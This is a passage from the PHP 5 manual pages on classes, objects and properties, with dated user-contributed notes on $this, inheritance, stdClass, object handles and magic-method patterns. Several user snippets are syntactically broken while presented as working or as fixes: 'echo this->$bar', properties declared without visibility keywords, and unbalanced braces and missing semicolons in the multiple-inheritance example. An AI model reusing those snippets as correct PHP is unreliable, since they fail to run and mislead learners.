}

$obj = new c;
$obj->p_test();

?>

Outputs:

Child's constructor
Parent's constructor
p_test()
c_test()
farzan at ifarzan dot com 05-Oct-2004 04:04
PHP 5 is very very flexible in accessing member variables and member functions. These access methods maybe look unusual and unnecessary at first glance; but they are very useful sometimes; specially when you work with SimpleXML classes and objects. I have posted a similar comment in SimpleXML function reference section, but this one is more comprehensive.

I use the following class as reference for all examples:

<?php
class Foo {
    public $aMemberVar = 'aMemberVar Member Variable';
    public $aFuncName = 'aMemberFunc';

    function aMemberFunc() {
        print 'Inside `aMemberFunc()`';
    }
}

$foo = new Foo;
?>

You can access member variables in an object using another variable as name:

<?php
$element = 'aMemberVar';
print $foo->$element; // prints "aMemberVar Member Variable"
?>

or use functions:

<?php
function getVarName()
{ return 'aMemberVar'; }

print $foo->{getVarName()}; // prints "aMemberVar Member Variable"
?>

Important Note: You must surround function name with { and } or PHP would think you are calling a member function of object "foo".

you can use a constant or literal as well:

<?php
define(MY_CONSTANT, 'aMemberVar');
print $foo->{MY_CONSTANT}; // Prints "aMemberVar Member Variable"
print $foo->{'aMemberVar'}; // Prints "aMemberVar Member Variable"
?>

You can use members of other objects as well:

<?php
print $foo->{$otherObj->var};
print $foo->{$otherObj->func()};
?>

You can use mathods above to access member functions as well:

<?php
print $foo->{'aMemberFunc'}(); // Prints "Inside `aMemberFunc()`"
print $foo->{$foo->aFuncName}(); // Prints "Inside `aMemberFunc()`"
?>
Anonymous functions
Introduction
Language Reference


Introduction

Starting with PHP 5, the object model was rewritten to allow for better performance and more features. This was a major change from PHP 4. PHP 5 has a full object model.

Among the features in PHP 5 are the inclusions of visibility, abstract and final classes and methods, additional magic methods, interfaces, cloning and typehinting.

PHP treats objects in the same way as references or handles, meaning that each variable contains an object reference rather than a copy of the entire object. See Objects and References

Tip

See also the Userland Naming Guide.

User Contributed Notes

There are no user contributed notes for this page.
Classes and Objects
The Basics
Classes and Objects


The Basics

class

Basic class definitions begin with the keyword class, followed by a class name, followed by a pair of curly braces which enclose the definitions of the properties and methods belonging to the class.

The class name can be any valid label which is a not a PHP reserved word. A valid class name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: [a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*.

A class may contain its own constants, variables (called "properties"), and functions (called "methods").

Example #1 Simple Class definition

<?php
class SimpleClass
{
    // property declaration
    public $var = 'a default value';

    // method declaration
    public function displayVar() {
        echo $this->var;
    }
}
?>

The pseudo-variable $this is available when a method is called from within an object context. $this is a reference to the calling object (usually the object to which the method belongs, but possibly another object, if the method is called statically from the context of a secondary object).

Example #2 Some examples of the $this pseudo-variable

<?php
class A
{
    function foo()
    {
        if (isset($this)) {
            echo '$this is defined (';
            echo get_class($this);
            echo ")\n";
        } else {
            echo "\$this is not defined.\n";
        }
    }
}

class B
{
    function bar()
    {
        // Note: the next line will issue a warning if E_STRICT is enabled.
        A::foo();
    }
}

$a = new A();
$a->foo();

// Note: the next line will issue a warning if E_STRICT is enabled.
A::foo();
$b = new B();
$b->bar();

// Note: the next line will issue a warning if E_STRICT is enabled.
B::bar();
?>

The above example will output:

$this is defined (A)
$this is not defined.
$this is defined (B)
$this is not defined.

new

To create an instance of a class, the new keyword must be used. An object will always be created unless the object has a constructor defined that throws an exception on error. Classes should be defined before instantiation (and in some cases this is a requirement).

If a string containing the name of a class is used with new, a new instance of that class will be created. If the class is in a namespace, its fully qualified name must be used when doing this.

Example #3 Creating an instance

<?php
$instance = new SimpleClass();

// This can also be done with a variable:
$className = 'Foo';
$instance = new $className(); // Foo()
?>

In the class context, it is possible to create a new object by new self and new parent.

When assigning an already created instance of a class to a new variable, the new variable will access the same instance as the object that was assigned. This behaviour is the same when passing instances to a function. A copy of an already created object can be made by cloning it.

Example #4 Object Assignment

<?php

$instance = new SimpleClass();

$assigned   =  $instance;
$reference  =& $instance;

$instance->var = '$assigned will have this value';

$instance = null; // $instance and $reference become null

var_dump($instance);
var_dump($reference);
var_dump($assigned);
?>

The above example will output:

NULL
NULL
object(SimpleClass)#1 (1) {
   ["var"]=>
     string(30) "$assigned will have this value"
}

PHP 5.3.0 introduced a couple of new ways to create instances of an object:

Example #5 Creating new objects

<?php
class Test
{
    static public function getNew()
    {
        return new static;
    }
}

class Child extends Test
{}

$obj1 = new Test();
$obj2 = new $obj1;
var_dump($obj1 !== $obj2);

$obj3 = Test::getNew();
var_dump($obj3 instanceof Test);

$obj4 = Child::getNew();
var_dump($obj4 instanceof Child);
?>

The above example will output:

bool(true)
bool(true)
bool(true)

extends

A class can inherit the methods and properties of another class by using the keyword extends in the class declaration. It is not possible to extend multiple classes; a class can only inherit from one base class.

The inherited methods and properties can be overridden by redeclaring them with the same name defined in the parent class. However, if the parent class has defined a method as final, that method may not be overridden. It is possible to access the overridden methods or static properties by referencing them with parent::.

When overriding methods, the parameter signature should remain the same or PHP will generate an E_STRICT level error. This does not apply to the constructor, which allows overriding with different parameters.

Example #6 Simple Class Inheritance

<?php
class ExtendClass extends SimpleClass
{
    // Redefine the parent method
    function displayVar()
    {
        echo "Extending class\n";
        parent::displayVar();
    }
}

$extended = new ExtendClass();
$extended->displayVar();
?>

The above example will output:

Extending class
a default value

User Contributed Notes

Manish Gupta 22-Oct-2011 10:07
Some thing that may be obvious to the seasoned PHP programmer, but may surprise someone coming over from C++:

<?php
class Foo
{
$bar = 'Hi There';

public function Print(){
    echo $bar;
}
}
?>

Gives an error saying Print used undefined variable. One has to explicitly use (notice the use of <?php $this->bar ?>):

<?php
class Foo
{
$bar = 'Hi There';

public function Print(){
    echo this->$bar;
}
}
?>

 <?php echo $this->bar; ?> refers to the class member, while using $bar means using an uninitialized variable in the local context of the member function.
Marcus 05-Feb-2011 11:00
Here's another simple example.

<?php
// PHP 5

// class definition
class Bear {
    // define properties
    public $name;
    public $weight;
    public $age;
    public $sex;
    public $colour;

    // constructor
    public function __construct() {
        $this->age = 0;
        $this->weight = 100;
    }

    // define methods
    public function eat($units) {
        echo $this->name." is eating ".$units." units of food... ";
        $this->weight += $units;
    }

    public function run() {
        echo $this->name." is running... ";
    }

    public function kill() {
        echo $this->name." is killing prey... ";
    }

    public function sleep() {
        echo $this->name." is sleeping... ";
    }
}

// extended class definition
class PolarBear extends Bear {

    // constructor
    public function __construct() {
        parent::__construct();
        $this->colour = "white";
        $this->weight = 600;
    }

    // define methods
    public function swim() {
        echo $this->name." is swimming... ";
    }
}

?>
Doug 07-Oct-2010 07:29
What is the difference between  $this  and  self ?

Inside a class definition, $this refers to the current object, while  self  refers to the current class.

It is necessary to refer to a class element using  self ,
and refer to an object element using  $this .
Note also how an object variable must be preceded by a keyword in its definition.

The following example illustrates a few cases:

<?php
class Classy {

const       STAT = 'S' ; // no dollar sign for constants (they are always static)
static     $stat = 'Static' ;
public     $publ = 'Public' ;
private    $priv = 'Private' ;
protected  $prot = 'Protected' ;

function __construct( ){  }

public function showMe( ){
    print '<br> self::STAT: '  .  self::STAT ; // refer to a (static) constant like this
    print '<br> self::$stat: ' . self::$stat ; // static variable
    print '<br>$this->stat: '  . $this->stat ; // legal, but not what you might think: empty result
    print '<br>$this->publ: '  . $this->publ ; // refer to an object variable like this
    print '<br>' ;
}
}
$me = new Classy( ) ;
$me->showMe( ) ;

/* Produces this output:
self::STAT: S
self::$stat: Static
$this->stat:
$this->publ: Public
*/
?>
ben dot corne at gmail dot com 26-Apr-2010 12:35
method calling context aware. By this I mean it will get treated differently while being in a new statement compared to being in a regular call.

Example:
<?php
class Foo {
  private $className = 'Bar';

  public function make() {
    return new $this->className();
  }

  public function callClassName() {
   $this->className();
  }

  public function className() {
    echo "foo\n";
  }

};

class Bar {
  public function hello() {
    echo "bar\n";
  }
};

$foo = new Foo();
$bar = $foo->make();

echo "expecting 'bar': ";
$bar->hello();

echo "expecting 'foo': ";
$foo->callClassName();
?>

even tough $this->className() is written two times in exactly the same way, the one contained in a new statement gets the className field and the other performs the actual method.
Anonymous 06-Nov-2009 06:54
It is also simple to get or set a property with a name determined at runtime:

<?php
$e=new E();
$e->{"foo"} = 1; // using a runtime name
// is the same as doing:
// $e->foo = 1;
?>
moty66 at gmail dot com 16-Aug-2009 07:59
I hope that this will help to understand how to work with static variables inside a class

<?php

class a {

    public static $foo = 'I am foo';
    public $bar = 'I am bar';

    public static function getFoo() { echo self::$foo;    }
    public static function setFoo() { self::$foo = 'I am a new foo'; }
    public function getBar() { echo $this->bar;    }
}

$ob = new a();
a::getFoo();     // output: I am foo
$ob->getFoo();    // output: I am foo
//a::getBar();     // fatal error: using $this not in object context
$ob->getBar();    // output: I am bar
                // If you keep $bar non static this will work
                // but if bar was static, then var_dump($this->bar) will output null

// unset($ob);
a::setFoo();    // The same effect as if you called $ob->setFoo(); because $foo is static
$ob = new a();     // This will have no effects on $foo
$ob->getFoo();    // output: I am a new foo

?>

Regards
Motaz Abuthiab
alex c 07-Aug-2009 12:17
ok this really basic but I always forget this. I always get an error like:

Fatal error: Call to a member function on a non-object

when i deal with oops

if it were me finding the error i'd search the internet for hours and then it would occur to me, I'm putting my class operator inside a function, but i would define the class in global file.

so like this:
test.php
<?
include(class.php);
$class = new newclassname;

function function1(){
  $class->dofunc();
}
?>

you'll get some die errors and try and do this with function1,

function function1(){
  newclassname::dofunc();
}

but if you're using $this inside your class then you'll get another error on non object

so basically, all you need to do is:

function function1(){
  $class = new newclassname;
  $class->dofunc();
}

or

function function1(){
  global $class;
  $class->dofunc();
}

i know it's simple, but it always gets me!
the_french_cow at hotmail dot com 14-Jul-2009 06:54
For those of us who are new to inheritance, private functions are not visible in an inherited class. Consider:

<?php
    class A {
        protected function func1() {
            echo("I'm func1 in A!<br/>");
        }

        private function func2() {
            echo("I'm func2 in A!<br/>");
        }
    }

    class B extends A {
        public function func3() {
            echo("I'm func3 in B!<br/>");
            $this->func1();
            $this->func2();  // Call to private function from extended class results in a fatal error
        }
    }

    $b = new B;
    $b->func3();  // Ends in a fatal error

// OR

    $b->func1();  // Call to protected function from outside world results in a fatal error
?>

If you want a function to be accessible in class B but not to the outside world, it must be declared as protected.
Notes on stdClass 09-Jul-2009 03:26
stdClass is the default PHP object. stdClass has no properties, methods or parent. It does not support magic methods, and implements no interfaces.

When you cast a scalar or array as Object, you get an instance of stdClass. You can use stdClass whenever you need a generic object instance.
<?php
// ways of creating stdClass instances
$x = new stdClass;
$y = (object) null;        // same as above
$z = (object) 'a';         // creates property 'scalar' = 'a'
$a = (object) array('property1' => 1, 'property2' => 'b');
?>

stdClass is NOT a base class! PHP classes do not automatically inherit from any class. All classes are standalone, unless they explicitly extend another class. PHP differs from many object-oriented languages in this respect.
<?php
// CTest does not derive from stdClass
class CTest {
    public $property1;
}
$t = new CTest;
var_dump($t instanceof stdClass);            // false
var_dump(is_subclass_of($t, 'stdClass'));    // false
echo get_class($t) . "\n";                   // 'CTest'
echo get_parent_class($t) . "\n";            // false (no parent)
?>

You cannot define a class named 'stdClass' in your code. That name is already used by the system. You can define a class named 'Object'.

You could define a class that extends stdClass, but you would get no benefit, as stdClass does nothing.

(tested on PHP 5.2.8)
webmaster at oehoeboeroe dot nl 03-May-2009 05:03
If you pass $this by reference and then assign a new value to it, it will not behave as you might expect as illustrated by this example:

<?php
class TestClass
{
    public $data;

    function setData(&$data) {
        $this->data =& $data;
    }

    function hasData(&$data) {
        $saved = $data;
        $data = true;
        $result = $this->data === true;
        $data = $saved;
        return $result;
    }

    function isDataOf(&$object) {
        return $object->hasData($this);
    }
}

$o1 = new TestClass;
$o2 = new TestClass;
$o1->setData($o2);
$o2->setData($o1);
var_dump($o1->hasData($o2));   // true as expected
var_dump($o2->hasData($o1));   // true as expected
var_dump($o1->isDataOf($o2));  // false even though $o1 is in fact the data of $o2
var_dump($o2->isDataOf($o1));  // false even though $o2 is in fact the data of $o1
?>

You can make this example work by replacing the hasData method with:

<?php
function hasData(&$data) {
    return $data === $this->data;
}
?>

However, although I've not tested this, I've been told that Zend Engine 1, i.e. PHP 4, will choke on the === parameter when comparing recursing objects.
ialsoagree 23-Apr-2009 08:03
Unfortunately, Arpit's solution creates a new class and leaves the old class inaccessible. If you need access to members of the class you are in you'll be unable to get such access. This can be a huge problem.

However, there is a solution:

<?php
class MyClass {
   public $message = 'Hello';

   public function MyClassFunction() {
       function innerFunction(&$this_thing, $message = null) {
          $this_thing->message = (!is_null($message)) ? $message : $this_thing->message;
          $this_thing->echo_something();
       }
       innerFunction($this); // echoes 'Hello'
       innerFunction($this, '<br/>New Message'); // echoes '<br/>New Message'
   }

   public function echo_something() {
       echo $this->message;
   }
}

$class = new MyClass;
$class->MyClassFunction();
?>

By passing $this as a variable by reference, you can access members of the class and even update them. If you don't want to be able to update them, you can simply pass $this to the function but not as a reference.
Arpit 06-Feb-2009 06:14
//try this code if you define a new class inside an object method than we can refer to "$class->message"
//unset this instance doesn't affected the previous one
//it will not report a fatal error

<?php

class MyClass {
   public $message = 'Hello';

   public function MyClassFunction() {
             function InnerFunction() {
          $class = new MyClass;
          print_r($class);
          echo $class->message;
          unset($class);//unset this doesn't affected the previous one or we can also use different name $classNew=new MyClass;
       }
       innerFunction();
   }
}

$class = new MyClass;
$class->MyClassFunction();
?>
ialsoagree 02-Feb-2009 04:23
I think it's worth mentioning that if you define a function inside of an object method, that function cannot refer to "$this" - doing so will result in PHP reporting a fatal error:

Fatal error: Using $this when not in object context

<?php
class MyClass {
   public $message = 'Hello';

   public function MyClassFunction() {
       function InnerFunction() {
          echo $this->message; // Reports a fatal error
       }
       innerFunction();
   }
}

$class = new MyClass;
$class->MyClassFunction();
?>

This issue cannot be solved by using the Scope Resolution Operator if you're trying to access a variable:

<?php
class MyClass {
   public $message = 'Hello';

   public function MyClassFunction() {
       function InnerFunction() {
          echo MyClass::message; // Reports a fatal error
       }
       innerFunction();
   }
}

$class = new MyClass;
$class->MyClassFunction();
?>

Additionally, you can NOT create a public function to access that variable:

<?php
class MyClass {
   public $message = 'Hello';

   public function MyClassFunction() {
       function InnerFunction() {
          MyClass::echoSomething();
       }
       innerFunction();
   }

   public function echoSomething() {
      echo $this->message; // Reports a fatal error
   }
}

$class = new MyClass;
$class->MyClassFunction();
?>

Note that in this last case, the error is generated on the line below echoSomething function declaration, not at MyClass::echoSomething();

However, it is worth noting that when called directly, echoSomething works fine:

<?php
class MyClass {
   public $message = 'Hello';

   public function MyClassFunction() {
       function InnerFunction() {
          MyClass::echoSomething();
       }
       innerFunction();
   }

   public function echoSomething() {
      echo $this->message; // Echoes 'Hello'
   }
}

$class = new MyClass;
$class->echoSomething();
?>
hugo (@) apres (dot) net 16-Jan-2009 08:37
A simple approach to Multiple Inheritance

You can give yourself something approaching multiple inheritance with the following class:

<?php

class inheritance{

  var $bases = array();

  static function error_die( $errno, $errstr, $errfile, $errline ) {
    $backtrace = debug_backtrace();
    $detail = $backtrace[4];
    var_dump( $backtrace );
    echo '<b>Fatal Error</b>: '.$errstr.' of class <b>'.$detail["class"].'</b> in <b>'.$detail["file"].'</b> on line <b>'.$detail["line"].'</b><br/>';
    die();
  }

  private function fatal( $text ) {
    set_error_handler( array( 'inheritance', 'error_die' ) );
    trigger_error( $text, E_USER_ERROR );
    restore_error_handler();
  }

  function __call( $name, $args ) {
    if( $this->bases )
      foreach( $this->bases as $base )
        if( method_exists( $base, $name ) )
          return $base->$name( $args );
    $this->fatal( "Call to undefined method <b>".$name."</b>" );
  }

  function __set( $name, $value ) {
    if( $this->bases )
      foreach( $this->bases as $base )
        if( property_exists( $base, $name ) ) {
          $base->$name = $value;
          return;
        }
  }

  function __get( $name ) {
    if( $this->bases )
      foreach( $this->bases as $base )
        if( property_exists( $base, $name ) )
          return $base->$name;
  }

  function __isset( $name ) {
    if( $this->bases )
      foreach( $this->bases as $base )
        if( property_exists( $base, $name ) )
          return isset( $base->$name );
  }

  function __unset( $name ) {
    if( $this->bases )
      foreach( $this->bases as $base )
        if( property_exists( $base, $name ) ) {
          unset( $base->$name );
          return;
        }
  }

  function inherits( $name, $args = '' ) {
    return array_unshift( $this->bases, new $name( $args ) );
  }

}

?>

Most of the qualities of multiple inheritance provided by this class are revealed by the following code:

<?php //test inheritance

class base0 {
  public $base0var;
  public $basevar;

  function base0declare() {
    echo 'I am base 0';
  }
  function basedeclare() {
    self::base0declare() {
  }
}

class base1 extends base0 { // simple linear inheritance here
  public $base1var;
  public $basevar;

  function based1declare() {
    echo 'I am base 1';
  }
  function basedeclare() {
    self::base1declare()
  }
}

class base2
  public $base2var;
  public $basevar;
  function based2declare() {
    echo 'I am base 2';
  }
  function basedeclare() {
    self::base2declare
  }
}
?>

Multiple inheritance is achieved by extending the inheritance class, and then in the __construct function placing calls to the "inherits" method of the inheritance class. Each call pushes an instance of the inherited class into an array var which functions as a LIFO stack. Using the magic methods, any failed method call, property set, get, isset or unset is intercepted by the inheritance base class which then attempts to resolve the reference. Object method name conflicts are resolved simply by the later inheritance masking the scope of the earlier inherited method. I recognize there are shortcomings to the approach I offer here, but it works for all my current multiple inheritance needs and offers simplicity and ease of understanding as benefits.

<?php
class base_test extends inheritance { // multiple inheritance

  function __construct() {
    $this->inherits( 'base1' );
    $this->inherits( 'base2' );
  }

} ?>

Here are some code fragments you can try out to test things.

<?php

$testobj = new base_test();
var_dump( $testobj );
$testobj->base2declare();
$testobj->base1declare();
$testobj->base0declare();
$testobj->basedeclare();
$testobj->base2var = 27;
echo $testobj->base2var;

?>

I'd be interested in hearing any comments.
chris (@) xeneco (dot) co (dot) uk 27-Nov-2008 03:25
Regarding object inheritance:

I hope this helps someone, it should help if you're new to OOPS

<?php

class A {

    public $x = 'A';

    public function foo() {
        $b = new B;
        $b->bar();
        return $this->x;
    }
}

class B extends A {
    public function bar() {
        $this->x = 'B';
    }
}

$a = new A

echo $a->foo();    //A

?>

I was doing something similar to this (example is greatly simplified to show logic) and spent a long while trying to work out why I would always get 'A' and never get 'B'. Now, after a few weeks, I have revisited the problem and have worked out why:

The code 'new B' creates a new instance of class B. While class B extends class A, it is a new object and not an extension of the object created by 'new A'

The value of $x is set to 'B' within the object $b, but not in object $a.

If within A::foo(), one was to access $b->x then one would obtain the vale 'B', for example

<?php

class C {

    public $x = 'C';

    public function foo() {
        $c = new C;
        $c->bar();
        $this->x = $c->$x
        return $this->x;
    }
}

class D extends C {
    public function bar() {
        $this->x = 'D';
    }
}

$c = new C

echo $c->foo();    //D

?>
Jeffrey 08-Oct-2008 03:49
A PHP Class can be used for several things, but at the most basic level, you'll use classes to "organize and deal with like-minded data". Here's what I mean by "organizing like-minded data". First, start with unorganized data.

<?php
$customer_name;
$item_name;
$item_price;
$customer_address;
$item_qty;
$item_total;
?>

Now to organize the data into PHP classes:

<?php
class Customer {
  $name;          // same as $customer_name
  $address;       // same as $customer_address
}

class Item {
  $name;          // same as $item_name
  $price;         // same as $item_price
  $qty;           // same as $item_qty
  $total;         // same as $item_total
}
?>

Now here's what I mean by "dealing" with the data. Note: The data is already organized, so that in itself makes writing new functions extremely easy.

<?php
class Customer {
  public $name, $address;                   // the data for this class...

  // function to deal with user-input / validation
  // function to build string for output
  // function to write -> database
  // function to  read <- database
  // etc, etc
}

class Item {
  public $name, $price, $qty, $total;        // the data for this class...

  // function to calculate total
  // function to format numbers
  // function to deal with user-input / validation
  // function to build string for output
  // function to write -> database
  // function to  read <- database
  // etc, etc
}
?>

Imagination that each function you write only calls the bits of data in that class. Some functions may access all the data, while other functions may only access one piece of data. If each function revolves around the data inside, then you have created a good class.
wbcarts at juno dot com 20-Aug-2008 06:11
CLASSES and OBJECTS that represent the "Ideal World"

Wouldn't it be great to get the lawn mowed by saying $son->mowLawn()? Assuming the function mowLawn() is defined, and you have a son that doesn't throw errors, the lawn will be mowed.

In the following example; let objects of type Line3D measure their own length in 3-dimensional space. Why should I or PHP have to provide another method from outside this class to calculate length, when the class itself holds all the neccessary data and has the education to make the calculation for itself?

<?php

/*
 * Point3D.php
 *
 * Represents one locaton or position in 3-dimensional space
 * using an (x, y, z) coordinate system.
 */
class Point3D
{
    public $x;
    public $y;
    public $z;                  // the x coordinate of this Point.

    /*
     * use the x and y variables inherited from Point.php.
     */
    public function __construct($xCoord=0, $yCoord=0, $zCoord=0)
    {
        $this->x = $xCoord;
    $this->y = $yCoord;
        $this->z = $zCoord;
    }

    /*
     * the (String) representation of this Point as "Point3D(x, y, z)".
     */
    public function __toString()
    {
        return 'Point3D(x=' . $this->x . ', y=' . $this->y . ', z=' . $this->z . ')';
    }
}

/*
 * Line3D.php
 *
 * Represents one Line in 3-dimensional space using two Point3D objects.
 */
class Line3D
{
    $start;
    $end;

    public function __construct($xCoord1=0, $yCoord1=0, $zCoord1=0, $xCoord2=1, $yCoord2=1, $zCoord2=1)
    {
        $this->start = new Point3D($xCoord1, $yCoord1, $zCoord1);
        $this->end = new Point3D($xCoord2, $yCoord2, $zCoord2);
    }

    /*
     * calculate the length of this Line in 3-dimensional space.
     */
    public function getLength()
    {
        return sqrt(
            pow($this->start->x - $this->end->x, 2) +
            pow($this->start->y - $this->end->y, 2) +
            pow($this->start->z - $this->end->z, 2)
        );
    }

    /*
     * The (String) representation of this Line as "Line3D[start, end, length]".
     */
    public function __toString()
    {
        return 'Line3D[start=' . $this->start .
            ', end=' . $this->end .
            ', length=' . $this->getLength() . ']';
    }
}

/*
 * create and display objects of type Line3D.
 */
echo '<p>' . (new Line3D()) . "</p>\n";
echo '<p>' . (new Line3D(0, 0, 0, 100, 100, 0)) . "</p>\n";
echo '<p>' . (new Line3D(0, 0, 0, 100, 100, 100)) . "</p>\n";

?>

  <--  The results look like this  -->

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=1, y=1, z=1), length=1.73205080757]

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=100, y=100, z=0), length=141.421356237]

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=100, y=100, z=100), length=173.205080757]

My absolute favorite thing about OOP is that "good" objects keep themselves in check. I mean really, it's the exact same thing in reality... like, if you hire a plumber to fix your kitchen sink, wouldn't you expect him to figure out the best plan of attack? Wouldn't he dislike the fact that you want to control the whole job? Wouldn't you expect him to not give you additional problems? And for god's sake, it is too much to ask that he cleans up before he leaves?

I say, design your classes well, so they can do their jobs uninterrupted... who like bad news? And, if your classes and objects are well defined, educated, and have all the necessary data to work on (like the examples above do), you won't have to micro-manage the whole program from outside of the class. In other words... create an object, and LET IT RIP!
ashraf dot samhouri at hotmail dot com 24-May-2008 06:35
@info -- 20-April

This is because you requested class "b" before defining it, not because you defined class "b" before "a". It doesn't make a difference which class you define first.
info at youwanttoremovethisvakantiebaas dot nl 20-Apr-2008 03:40
if you do this
<?php

$x = new b();

class b extends a {}

class a { }

?>
PHP will tell you "class b not found", because you've defined class b before a. However, the error tells you something different.... Got me a little confused :)
david dot schueler at tel-billig dot de 15-Feb-2008 06:16
If you just want to create a new object that extends another object and you want to copy all variables from the father object, you may use this piece of code:
<?php
$father =& new father();
$father->a_var = "Hello World.";

$son = new son($event);

$son->say_hello();

class father {
    public $a_var;
}

class son extends father {
    public function __construct($father_class) {
        foreach ($father_class as $variable=>$value) {
            $this->$variable = $value;
        }
    }

    public function say_hello() {
        echo "Son says: ".$this->a_var;
    }
}
?>
This outputs:

Son says: Hello World.

So you dont have to clone the entire object to get the contents of the variables from the father object.
aaron at thatone dot com 15-Dec-2007 06:46
I was confused at first about object assignment, because it's not quite the same as normal assignment or assignment by reference. But I think I've figured out what's going on.

First, think of variables in PHP as data slots. Each one is a name that points to a data slot that can hold a value that is one of the basic data types: a number, a string, a boolean, etc. When you create a reference, you are making a second name that points at the same data slot. When you assign one variable to another, you are copying the contents of one data slot to another data slot.

Now, the trick is that object instances are not like the basic data types. They cannot be held in the data slots directly. Instead, an object's "handle" goes in the data slot. This is an identifier that points at one particular instance of an obect. So, the object handle, although not directly visible to the programmer, is one of the basic datatypes.

What makes this tricky is that when you take a variable which holds an object handle, and you assign it to another variable, that other variable gets a copy of the same object handle. This means that both variables can change the state of the same object instance. But they are not references, so if one of the variables is assigned a new value, it does not affect the other variable.

<?php
// Assignment of an object
Class Object{
   public $foo="bar";
};

$objectVar = new Object();
$reference =& $objectVar;
$assignment = $objectVar

//
// $objectVar --->+---------+
//                |(handle1)----+
// $reference --->+---------+   |
//                              |
//                +---------+   |
// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="bar"
//
?>

$assignment has a different data slot from $objectVar, but its data slot holds a handle to the same object. This makes it behave in some ways like a reference. If you use the variable $objectVar to change the state of the Object instance, those changes also show up under $assignment, because it is pointing at that same Object instance.

<?php
$objectVar->foo = "qux";
print_r( $objectVar );
print_r( $reference );
print_r( $assignment );

//
// $objectVar --->+---------+
//                |(handle1)----+
// $reference --->+---------+   |
//                              |
//                +---------+   |
// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="qux"
//
?>

But it is not exactly the same as a reference. If you null out $objectVar, you replace the handle in its data slot with NULL. This means that $reference, which points at the same data slot, will also be NULL. But $assignment, which is a different data slot, will still hold its copy of the handle to the Object instance, so it will not be NULL.

<?php
$objectVar = null;
print_r($objectVar);
print_r($reference);
print_r($assignment);

//
// $objectVar --->+---------+
//                |  NULL   |
// $reference --->+---------+
//
//                +---------+
// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="qux"
?>
alan at alan-ng dot net 09-Oct-2007 09:41
The following odd behavior happens in php version 5.1.4 (and presumably some other versions) that does not happen in php version 5.2.1 (and possibly other versions > 5.1.4).

<?php

$_SESSION['instance']=...;

$instance=new SomeClass;

?>

The second line will not only create the $instance object successfully, it will also modify the value of $_SESSION['instance']!

The workaround I arrived at, after trial and error, was to avoid  using object names which match a $_SESSION array key.

This is not intended to be a bug report, since it was apparently fixed by version 5.2.1, so it's just a workaround suggestion.
Dan Dascalescu 26-Oct-2006 11:00
If E_STRICT is enabled, the first example will generate the following error (and a few others akin to it):

Non-static method A::foo() should not be called statically on line 26

The example should have explicitly declared the methods foo() and bar() as static:

class A
{
    static function foo()
    {
...
Introduction
Properties
Classes and Objects


Properties

Class member variables are called "properties". You may also see them referred to using other terms such as "attributes" or "fields", but for the purposes of this reference we will use "properties". They are defined by using one of the keywords public, protected, or private, followed by a normal variable declaration. This declaration may include an initialization, but this initialization must be a constant value--that is, it must be able to be evaluated at compile time and must not depend on run-time information in order to be evaluated.

See Visibility for more information on the meanings of public, protected, and private.

Note:

In order to maintain backward compatibility with PHP 4, PHP 5 will still accept the use of the keyword var in property declarations instead of (or in addition to) public, protected, or private. However, var is no longer required. In versions of PHP from 5.0 to 5.1.3, the use of var was considered deprecated and would issue an E_STRICT warning, but since PHP 5.1.3 it is no longer deprecated and does not issue the warning.

If you declare a property using var instead of one of public, protected, or private, then PHP 5 will treat the property as if it had been declared as public.

Within class methods the properties, constants, and methods may be accessed by using the form $this->property (where property is the name of the property) unless the access is to a static property within the context of a static class method, in which case it is accessed using the form self::$property. See Static Keyword for more information.

The pseudo-variable $this is available inside any class method when that method is called from within an object context. $this is a reference to the calling object (usually the object to which the method belongs, but possibly another object, if the method is called statically from the context of a secondary object).

Example #1 property declarations

<?php
class SimpleClass
{
   // invalid property declarations:
   public $var1 = 'hello ' . 'world';
   public $var2 = <<<EOD
hello world
EOD;
   public $var3 = 1+2;
   public $var4 = self::myStaticMethod();
   public $var5 = $myVar;

   // valid property declarations:
   public $var6 = myConstant;
   public $var7 = array(true, false);

   // This is allowed only in PHP 5.3.0 and later.
   public $var8 = <<<'EOD'
hello world
EOD;
}
?>

Note:

There are some nice functions to handle classes and objects. You might want to take a look at the Class/Object Functions.

Unlike heredocs, nowdocs can be used in any static data context, including property declarations.

Example #2 Example of using a nowdoc to initialize a property

<?php
class foo {
   // As of PHP 5.3.0
   public $bar = <<<'EOT'
bar
EOT;
}
?>

Note:

Nowdoc support was added in PHP 5.3.0.

User Contributed Notes

Anonymous 11-Mar-2011 03:18
$this can be cast to array.  But when doing so, it prefixes the property names/new array keys with certain data depending on the property classification.  Public property names are not changed.  Protected properties are prefixed with a space-padded '*'.  Private properties are prefixed with the space-padded class name...

<?php

class test
{
    public $var1 = 1;
    protected $var2 = 2;
    private $var3 = 3;
    static $var4 = 4;

    public function toArray()
    {
        return (array) $this;
    }
}

$t = new test;
print_r($t->toArray());

/* outputs:

Array
(
    [var1] => 1
    [ * var2] => 2
    [ test var3] => 3
)

*/
?>

This is documented behavior when converting any object to an array (see </language.types.array.php#language.types.array.casting> PHP manual page).  All properties regardless of visibility will be shown when casting an object to array (with exceptions of a few built-in objects).

To get an array with all property names unaltered, use the 'get_object_vars($this)' function in any method within class scope to retrieve an array of all properties regardless of external visibility, or 'get_object_vars($object)' outside class scope to retrieve an array of only public properties (see: </function.get-object-vars.php> PHP manual page).
zzzzBov 04-Jun-2010 09:21
Do not confuse php's version of properties with properties in other languages (C++ for example).  In php, properties are the same as attributes, simple variables without functionality.  They should be called attributes, not properties.

Properties have implicit accessor and mutator functionality.  I've created an abstract class that allows implicit property functionality.

<?php

abstract class PropertyObject
{
  public function __get($name)
  {
    if (method_exists($this, ($method = 'get_'.$name)))
    {
      return $this->$method();
    }
    else return;
  }

  public function __isset($name)
  {
    if (method_exists($this, ($method = 'isset_'.$name)))
    {
      return $this->$method();
    }
    else return;
  }

  public function __set($name, $value)
  {
    if (method_exists($this, ($method = 'set_'.$name)))
    {
      $this->$method($value);
    }
  }

  public function __unset($name)
  {
    if (method_exists($this, ($method = 'unset_'.$name)))
    {
      $this->$method();
    }
  }
}

?>

after extending this class, you can create accessors and mutators that will be called automagically, using php's magic methods, when the corresponding property is accessed.
Anonymous 17-Nov-2009 07:51
